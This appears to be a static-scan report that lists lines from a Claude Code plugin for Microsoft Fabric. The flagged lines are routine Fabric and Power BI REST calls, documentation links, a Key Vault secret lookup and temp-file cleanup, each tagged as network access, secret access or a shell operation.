--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes?recursive=true&rootFolderId=${FOLDER_ID}" \ - Network accessline 80
--resource "https://api.fabric.microsoft.com" \ - Network accessline 89
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}" \ - Network accessline 90
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}" \ - Network accessline 91
--resource "https://api.fabric.microsoft.com" \ - Network accessline 104
DEFINITION=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 105
"https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 116
DEFINITION=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 117
"https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 270
- **Always use `--resource https://api.fabric.microsoft.com`** with `az rest` - Network accessline 301
# Step 1: List activators az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \ - Network accessline 302
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" - Network accessline 303
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes" \ - Network accessline 304
--resource "https://api.fabric.microsoft.com" \ - Network accessline 307
# Step 2: For a specific activator, get and decode its definition az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 308
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" - Network accessline 309
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 310
--resource "https://api.fabric.microsoft.com" \ - Network accessline 321
# Decode definition and extract rule details az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 322
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" - Network accessline 323
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/reflexes/${REFLEX_ID}/getDefinition" \ - Network accessline 324
--resource "https://api.fabric.microsoft.com" \ - Network accessline 356
https://api.fabric.microsoft.com/v1/mcp/workspaces/{workspaceId}/reflexes/{activatorId}
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/SKILL.md
- Network accessline 141
- Azure Resource Graph - Fabric REST **read-only** discovery via authenticated `az rest --method get` against `https://api.fabric.microsoft.com/...` (discovery/read-only only) - Network accessline 142
- Fabric REST **read-only** discovery via authenticated `az rest --method get` against `https://api.fabric.microsoft.com/...` (discovery/read-only only) - Other documented supported capabilities available to the agent - Network accessline 143
against `https://api.fabric.microsoft.com/...` (discovery/read-only only) - Network accessline 146
**Log Analytics REST API reference (agent-facing).** When the Skill needs to perform or validate Azure Log Analytics operations, it may consult the official [Log Analytics REST APIs](https://learn.microsoft.com/en-us/rest/api/loganalytics/) - Network accessline 157
5. **Fabric REST read-only discovery via authenticated `az rest --method get`** — a narrow, permitted exception used ONLY for Fabric discovery/read against `https://api.fabric.microsoft.com/...`. It is GET-only, never creates, - Network accessline 158
a narrow, permitted exception used ONLY for Fabric discovery/read against `https://api.fabric.microsoft.com/...`. It is GET-only, never creates, updates, deletes, or modifies anything, and never exposes tokens, secrets, - Network accessline 159
`https://api.fabric.microsoft.com/...`. It is GET-only, never creates, - Network accessline 313
- The endpoint is `https://api.fabric.microsoft.com/...`. - Network accessline 329
- `GET https://api.fabric.microsoft.com/v1/workspaces/{id}` (detect), and - Network accessline 330
- `POST https://api.fabric.microsoft.com/v1/workspaces/{id}/provisionIdentity`
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/azmon-fabric-api-reference.md
- Network accessline 46
- Azure Resource Graph - Fabric REST **read-only** discovery via authenticated `az rest --method get` against `https://api.fabric.microsoft.com/...` - Network accessline 48
against `https://api.fabric.microsoft.com/...` - Network accessline 58
- Endpoint is `https://api.fabric.microsoft.com/...`. - Network accessline 94
- **List connections** (detection): `GET https://api.fabric.microsoft.com/v1/connections` - Network accessline 98
(`ServicePrincipal` for Mode A, `OAuth2` for Mode B). Returns only connections the caller holds a role on. [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections) - Network accessline 99
the caller holds a role on. [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections) - **Get a connection**: `GET https://api.fabric.microsoft.com/v1/connections/{connectionId}`. - Network accessline 100
[List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections) - Network accessline 101
- **Get a connection**: `GET https://api.fabric.microsoft.com/v1/connections/{connectionId}`. - Network accessline 102
[Get Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/get-connection) - Network accessline 103
- **Discover the exact connector shape** (authoritative — resolves the Azure Monitor `type`, `creationMethod`, and required `parameters` instead of guessing): `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes - Network accessline 104
Monitor `type`, `creationMethod`, and required `parameters` instead of guessing): `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true` — each entry gives `type`, `creationMethods[].n - Network accessline 105
`GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true` - Network accessline 108
`supportedCredentialTypes`. Find the Azure Monitor / Log Analytics entry and use its returned `type` + `creationMethod` + `parameters` **verbatim**. [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/cor - Network accessline 109
its returned `type` + `creationMethod` + `parameters` **verbatim**. [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types) - **Create a connection** (Service P - Network accessline 110
[List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types) - Network accessline 111
- **Create a connection** (Service Principal / Mode A): `POST https://api.fabric.microsoft.com/v1/connections` with this documented skeleton — fill `type` / `creationMethod` / `parameters` from the - Network accessline 112
`POST https://api.fabric.microsoft.com/v1/connections` with this documented - Network accessline 143
or a `servicePrincipalSecret` supplied from an env var — **never** pasted into chat, logged, or echoed. [Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection) - Network accessline 145
[Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection) - Network accessline 244
Actions, Fabric / OneLake / Power BI execution capabilities, authenticated Fabric REST read-only discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications, - Network accessline 245
Fabric REST read-only discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications, no secret/token/header exposure, capability path stated), or any other - Network accessline 246
`https://api.fabric.microsoft.com/...` (GET-only, read-only, no modifications, - Network accessline 271
- [Items - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/items) - Network accessline 272
- [Mirrored Catalog item definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-catalog-definition) - Network accessline 273
- [Discovery - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/discovery) - Network accessline 274
- [Monitoring - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/monitoring) - Network accessline 275
- [Refresh - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/refresh)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/dashboard-reference.md
- Network accessline 42
The Microsoft Learn [KQL dashboard definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/kql-dashboard-definition)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/eventhouse-shortcuts-reference.md
- Network accessline 131
Query acceleration is a [policy on external delta tables](https://learn.microsoft.com/en-us/kusto/management/query-acceleration-policy?view=microsoft-fabric)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/mirrored-catalog-reference.md
- Network accessline 42
- [Items - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/items) - Network accessline 50
- [Mirrored Catalog item definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-catalog-definition) - Network accessline 71
- [Discovery - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/discovery) - Network accessline 92
- [Monitoring - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/monitoring) - Network accessline 100
- [Refresh - REST API (MirroredCatalog)](https://learn.microsoft.com/en-us/rest/api/fabric/mirroredcatalog/refresh)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/oauth-connection-reference.md
- Network accessline 17
1. A surfaced Fabric REST / Fabric Actions capability, if available. 2. Authenticated Fabric REST read-only discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is - Network accessline 18
2. Authenticated Fabric REST read-only discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is available and permitted under the read-only Fabric REST discovery exception - Network accessline 19
against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/operations-agent-reference.md
- Network accessline 174
> OperationsAgent API supports a **User (delegated) identity only** — **service > principal and managed identity are NOT supported** > ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsa - Network accessline 175
> principal and managed identity are NOT supported** > ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsagent/items/create-operations-agent) > — Microsoft Entra supported identities: Us - Network accessline 176
> ([Microsoft Learn: Create Operations Agent](https://learn.microsoft.com/en-us/rest/api/fabric/operationsagent/items/create-operations-agent) - Network accessline 233
https://learn.microsoft.com/en-us/fabric/real-time-intelligence/operations-agent - Network accessline 239
https://techcommunity.microsoft.com/blog/analyticsonazure/microsoft-fabric-operations-agent-step-by-step-walkthrough/4512572
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/telemetry-table-reference.md
- Network accessline 15
- [Azure Monitor tables for microsoft.insights/components (learn)](https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/microsoft-insights-components) - Network accessline 16
- [Azure Monitor Logs table reference](https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/workspace-discovery-policy-reference.md
- Network accessline 18
- Fabric / OneLake / Power BI execution capabilities, if surfaced. - Authenticated Fabric REST **read-only** discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is - Network accessline 19
- Authenticated Fabric REST **read-only** discovery via `az rest --method get` against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is available and permitted under the read-only Fabric REST discovery exception - Network accessline 20
against `https://api.fabric.microsoft.com/...`, if Azure CLI execution is
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli/references/workspace-identity-connection-reference.md
- Network accessline 16
Monitor connector. Before proceeding, confirm `WorkspaceIdentity` appears in the Azure Monitor entry's `supportedCredentialTypes` from `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true - Network accessline 17
Azure Monitor entry's `supportedCredentialTypes` from `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`. If absent, tell the user this option isn't available for this connector and of - Network accessline 18
`GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`. - Network accessline 24
1. **Detect the identity.** `GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}` - Network accessline 27
2. **Provision if absent (confirmation-gated).** Caller must have the workspace **Admin** role and delegated `Workspace.ReadWrite.All`. On confirmation: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdent - Network accessline 28
**Admin** role and delegated `Workspace.ReadWrite.All`. On confirmation: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdentity`. `200` returns `{ applicationId, servicePrincipalId }`; `202` is a long-run - Network accessline 29
`POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdentity`.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/SKILL.md
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/resources/code-patterns.md
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/resources/dbutils-to-notebookutils.md
- Network accessline 37
| `dbutils.fs.head(path, maxBytes=65536)` | `notebookutils.fs.head(path, max_bytes=102400)` | ⚠<U+FE0F> **Default differs**: Python/Scala `102400` (100 KB), R `65535` (Scala uses `maxBytes`) | | `dbutils.fs.append(path, contents, createIfNotExists - Network accessline 38
| `dbutils.fs.append(path, contents, createIfNotExists)` | `notebookutils.fs.append(file, content, createFileIfNotExists=False)` | **Equivalent**. Add `time.sleep(0.5)` between writes in loops (async flush) | | `dbutils.fs.mount(source, mou - Network accessline 39
| `dbutils.fs.mount(source, mountPoint, …)` | `notebookutils.fs.mount(source, mountPoint, extraConfigs=None)` | ✅ **Supported**. Microsoft Entra (default), `accountKey`, or `sasToken` auth. `extraConfigs` also accepts `timeout` (default 30 - Network accessline 44
| `dbutils.fs.help()` | `notebookutils.fs.help()` | **Identical** | | _(no dbutils equivalent)_ | `notebookutils.fs.exists(path)` | New — prefer over try/except for existence checks | | _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(s - Network accessline 45
| _(no dbutils equivalent)_ | `notebookutils.fs.exists(path)` | New — prefer over try/except for existence checks | | _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(src, dest, recurse=True, extraConfigs=None)` | New — azcopy-backed; u - Network accessline 46
| _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(src, dest, recurse=True, extraConfigs=None)` | New — azcopy-backed; use for large/bulk copies. Doesn't work across OneLake regions — fall back to `cp`. For S3/GCS-typed OneLake Shortcut - Network accessline 104
# Auth via account key from Key Vault account_key = notebookutils.credentials.getSecret("https://my-kv.vault.azure.net/", "storageKey") - Network accessline 105
account_key = notebookutils.credentials.getSecret("https://my-kv.vault.azure.net/", "storageKey") - Network accessline 112
[Credential-related source omitted] - Network accessline 113
[Credential-related source omitted] - Network accessline 128
# Create a OneLake Shortcut once (Portal or REST API): # https://learn.microsoft.com/fabric/onelake/onelake-shortcuts - Network accessline 129
# https://learn.microsoft.com/fabric/onelake/onelake-shortcuts - Access to secretsline 159
[Credential-related source omitted] - Network accessline 161
[Credential-related source omitted] - Network accessline 162
[Credential-related source omitted] - Network accessline 163
"https://my-keyvault.vault.azure.net/", - Network accessline 165
[Credential-related source omitted] - Network accessline 166
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Network accessline 167
"https://my-keyvault.vault.azure.net/", - Network accessline 180
| `dbutils.notebook` Method | `notebookutils.notebook` Equivalent | Notes | |---|---|---| | `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is - Network accessline 181
|---|---|---| | `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is the child notebook **name**. `workspace` is the **workspace ID** for cross-w - Network accessline 182
| `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is the child notebook **name**. `workspace` is the **workspace ID** for cross-workspace runs - Network accessline 270
> ⚠<U+FE0F> **Caveats** (per [docs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library)): `notebookutils.variableLibrary` is **same-workspace only** — cross-workspace reads (including child noteb - Network accessline 347
`notebookutils.runtime.context` returns a read-only map. Property names use the `current*` / `default*` / `root*` prefix — they are **not** the same names as Databricks tags. The sample below shows the most common keys; the full key list (i
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring.md
- Network accessline 80
# List workspaces — find workspace ID by name az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 81
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 82
--resource "https://api.fabric.microsoft.com" \ - Network accessline 83
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 87
WS_ID="<workspaceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 88
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 89
--resource "https://api.fabric.microsoft.com" \ - Network accessline 90
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" \ - Network accessline 97
WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" - Network accessline 98
DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 99
API="https://api.fabric.microsoft.com/v1" - Network accessline 100
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 120
1. **List existing connections** and filter by `connectionDetails.type` and the target URL/host — reuse if a match exists (`GET /v1/connections` + JMESPath). 2. **If no match, create the connection.** First `GET /v1/connections/supportedCon - Network accessline 121
2. **If no match, create the connection.** First `GET /v1/connections/supportedConnectionTypes` to discover required parameters and supported credential types, then `POST /v1/connections` (sync 201). Body shape and credential schemas: [conn - Network accessline 122
3. **Resolve `ClusterId` for the composite binding.** `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` with `--query "value[?id=='$CONN_ID'] | [0].clusterId"`, audience `--resource "https://analysis.windows.net/powerbi/ - Network accessline 134
WS_ID="<workspaceId>"; URL="<source-url>" RES="https://api.fabric.microsoft.com"; API="$RES/v1" - Network accessline 135
RES="https://api.fabric.microsoft.com"; API="$RES/v1" - Network accessline 136
PBI="https://analysis.windows.net/powerbi/api" - Network accessline 143
# 3. List+filter for ClusterId CLUSTER_ID=$(az rest --method get --resource "$PBI" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Network accessline 144
CLUSTER_ID=$(az rest --method get --resource "$PBI" --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" - Network accessline 145
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Dangerous shell operationline 155
rm -f "$SHELL_BODY" - Network accessline 179
# Concise skeleton — full templates: references/authoring-script-templates.md # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = $RESOURCE). RESOURCE="https://api.fabric.microsoft.com"; API="$RESOURCE/v1" - Network accessline 181
RESOURCE="https://api.fabric.microsoft.com"; API="$RESOURCE/v1" - Network accessline 183
[Credential-related source omitted] - Network accessline 184
[Credential-related source omitted] - Network accessline 185
[Credential-related source omitted] - Dangerous shell operationline 202
rm -f "$HDR" "$BODY" - Network accessline 213
# 2-3. Formulate & Execute — see Example 3 # 4. Verify — trigger refresh via curl (az rest cannot capture Location header). - Network accessline 214
# 4. Verify — trigger refresh via curl (az rest cannot capture Location header). - Network accessline 254
# Skeleton — full PowerShell recipe: references/output-destinations.md § Complete Example WS_ID="<workspaceId>"; LH_ID="<lakehouseId>"; RES="https://api.fabric.microsoft.com" - Network accessline 255
WS_ID="<workspaceId>"; LH_ID="<lakehouseId>"; RES="https://api.fabric.microsoft.com" - Network accessline 274
- **Offer to preview every entity before the first refresh of a new dataflow** — after creating the shell and binding connections via `updateDefinition` (which persists the definition), ask the user if they want to see preview charts before - Network accessline 275
- **`az login` first** — all `az rest` calls use the active session. No session → 401. - **Use `--resource "https://api.fabric.microsoft.com"` for Fabric APIs.** For Power BI v2 (`gatewayClusterDatasources`), use `--resource "https://analys - Network accessline 276
- **Use `--resource "https://api.fabric.microsoft.com"` for Fabric APIs.** For Power BI v2 (`gatewayClusterDatasources`), use `--resource "https://analysis.windows.net/powerbi/api"` **without a trailing slash** — the slashed form fails `AAD - Network accessline 300
- **Using `GET /v1/workspaces/{ws}/items/{itemId}/connections` to verify a freshly-bound dataflow.** It reflects refresh-materialized state, **not** the persisted definition, and returns 0 after a successful bind. Verify via `getDefinition` - Network accessline 301
- **Assuming `updateDefinition` / `POST /dataflows` is always LRO.** Typical responses are sync (200/201); handle both shapes — see MUST DO above. - **Requesting the PBI v2 token with a trailing slash** (`--resource "https://analysis.window - Network accessline 302
- **Requesting the PBI v2 token with a trailing slash** (`--resource "https://analysis.windows.net/powerbi/api/"`) — fails `AADSTS500011 invalid_resource`. Use the no-slash form. - Network accessline 333
| Symptom | Fix | |---|---| | 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). | - Network accessline 334
|---|---| | 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). | | 405 Method Not Allowed on `getDefinition - Network accessline 335
| 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). | - Network accessline 339
| `executeQuery` → 400 `DataflowExecuteQueryError: ErrorCode: QueryNotFound` | The value of `QueryName` doesn't match any `shared` member of the persisted M or supplied `customMashupDocument`. List queries via `getDefinition` → decode `mash - Network accessline 340
| `GET /items/{id}/connections` returns 0 after a successful bind | That endpoint reflects refresh-materialized state, not the definition. Verify via `getDefinition` → decode `queryMetadata.json.connections[]`. | | 404 / `PowerBIEntityNotFo - Network accessline 341
| 404 / `PowerBIEntityNotFound` fetching `ClusterId` from `gatewayClusterDatasources/{id}` | Per-id route does not resolve cloud connections. Use list + filter: `GET .../gatewayClusterDatasources --query "value[?id=='$CONN_ID'] \| [0].clust - Network accessline 350
| Base64 decode produces garbage | Strip trailing newlines; use `base64 -w0` (Linux). | | Inline `--body "<json>"` returns 400 / empty body on Windows | `cmd.exe` arg parser mangles quotes when launching `az.exe`. Write to `$env:TEMP\body.j - Network accessline 352
| Refresh fails with `EntityUserFailure` / "Something went wrong" and no detail | (1) Confirm `updateDefinition` was called after create; (2) check credential type — `OAuth2`+`singleSignOnType: None` often fails under tenant Conditional Acc - Network accessline 369
DF_NAME="my-titanic-df" CONN_NAME="my-titanic-web-conn" URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv" - Network accessline 370
CONN_NAME="my-titanic-web-conn" URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv" RES="https://api.fabric.microsoft.com"; API="$RES/v1" - Network accessline 371
URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv" - Network accessline 372
RES="https://api.fabric.microsoft.com"; API="$RES/v1" - Network accessline 373
PBI="https://analysis.windows.net/powerbi/api" # NO trailing slash - Dangerous shell operationline 400
rm -f "$BODY_FILE" - Network accessline 404
for i in 1 2 3 4 5 6 7 8; do CLUSTER_ID=$(az rest --method get --resource "$PBI" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Network accessline 405
CLUSTER_ID=$(az rest --method get --resource "$PBI" --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" - Network accessline 406
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Dangerous shell operationline 425
rm -f "$SHELL_BODY" - Network accessline 440
}') PLATFORM=$(jq -n --arg name "$DF_NAME" --arg lid "$(uuidgen)" '{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 441
PLATFORM=$(jq -n --arg name "$DF_NAME" --arg lid "$(uuidgen)" '{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", metadata: { type: "Dataflow", displayName: $name }, - Network accessline 442
"$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Dangerous shell operationline 462
rm -f "$BODY_FILE" - Network accessline 464
# Step 6: Verify connections[] persisted via getDefinition (NOT /items/{id}/connections). # Assumes the sync 200 fast-path (typical, ~1s). If the call ever returns 202 LRO, # az rest can't expose the Location header — switch to the curl + p - Network accessline 465
# Assumes the sync 200 fast-path (typical, ~1s). If the call ever returns 202 LRO, # az rest can't expose the Location header — switch to the curl + poll pattern from # Example 3 / authoring-script-templates.md and decode the polled 200 bod - Network accessline 466
# az rest can't expose the Location header — switch to the curl + poll pattern from - Dangerous shell operationline 482
rm -f "$EQ_BODY" - Network accessline 498
# On the first refresh after any updateDefinition, body MUST include executeOption=ApplyChangesIfNeeded # (otherwise Fabric refreshes the previously-applied definition). # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern - Network accessline 499
# (otherwise Fabric refreshes the previously-applied definition). # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com). LOCATION=$(curl -sS -X POST \ - Network accessline 500
[Credential-related source omitted] - Network accessline 501
LOCATION=$(curl -sS -X POST \ - Network accessline 502
[Credential-related source omitted] - Network accessline 503
--data '{"executionData":{"executeOption":"ApplyChangesIfNeeded"}}' \ "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?jobType=Refresh" \ -o /dev/null -D - | tr -d '\r' | grep -i "^location:" | - Network accessline 504
"https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?jobType=Refresh" \ - Network accessline 516
while [ "$ATTEMPT" -lt "$MAX_POLLS" ]; do STATUS=$(az rest --method get --url "$LOCATION" \ --resource "https://api.fabric.microsoft.com" --query "status" -o tsv) - Network accessline 517
STATUS=$(az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com" --query "status" -o tsv) - Network accessline 518
--resource "https://api.fabric.microsoft.com" --query "status" -o tsv) - Network accessline 533
# Surface the raw job instance and stop; do not assume success. echo "Polling stopped after ${MAX_POLLS} attempts with non-terminal status '$STATUS' (max-poll timeout, not a terminal outcome)." az rest --method get --url "$LOCATION" - Network accessline 534
echo "Polling stopped after ${MAX_POLLS} attempts with non-terminal status '$STATUS' (max-poll timeout, not a terminal outcome)." az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com" exit 1 ;; - Network accessline 535
az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com" - Network accessline 539
# ErrorResponse with .errorCode / .isRetriable / .message) and STOP. Do NOT re-trigger or keep # polling when .failureReason.isRetriable=false or the error is workspace-wide. az rest --method get --url "$LOCATION" --resource "ht - Network accessline 540
# polling when .failureReason.isRetriable=false or the error is workspace-wide. az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com" exit 1 ;; - Network accessline 541
az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com" - Network accessline 557
# This is distinct from the LRO operation enum (Running / Succeeded / Failed / Cancelled). # Refresh "success" = "Completed", not "Succeeded". # Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api - Network accessline 558
# Refresh "success" = "Completed", not "Succeeded". # Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com). try { - Network accessline 559
# Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com). - Network accessline 560
try { $Resp = Invoke-WebRequest -Method POST -UseBasicParsing ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh" ` - Network accessline 561
$Resp = Invoke-WebRequest -Method POST -UseBasicParsing -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh" - Network accessline 562
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh" ` - Network accessline 572
do { $Status = az rest --method get --url $Location ` --resource "https://api.fabric.microsoft.com" --query "status" -o tsv - Network accessline 573
$Status = az rest --method get --url $Location --resource "https://api.fabric.microsoft.com" --query "status" -o tsv - Network accessline 574
--resource "https://api.fabric.microsoft.com" --query "status" -o tsv - Network accessline 580
# Max-poll bound reached before any terminal status — a polling timeout, NOT a terminal outcome. Write-Host "Polling stopped after $MaxPolls attempts with non-terminal status '$Status' (max-poll timeout, not a terminal outcome)." az res - Network accessline 581
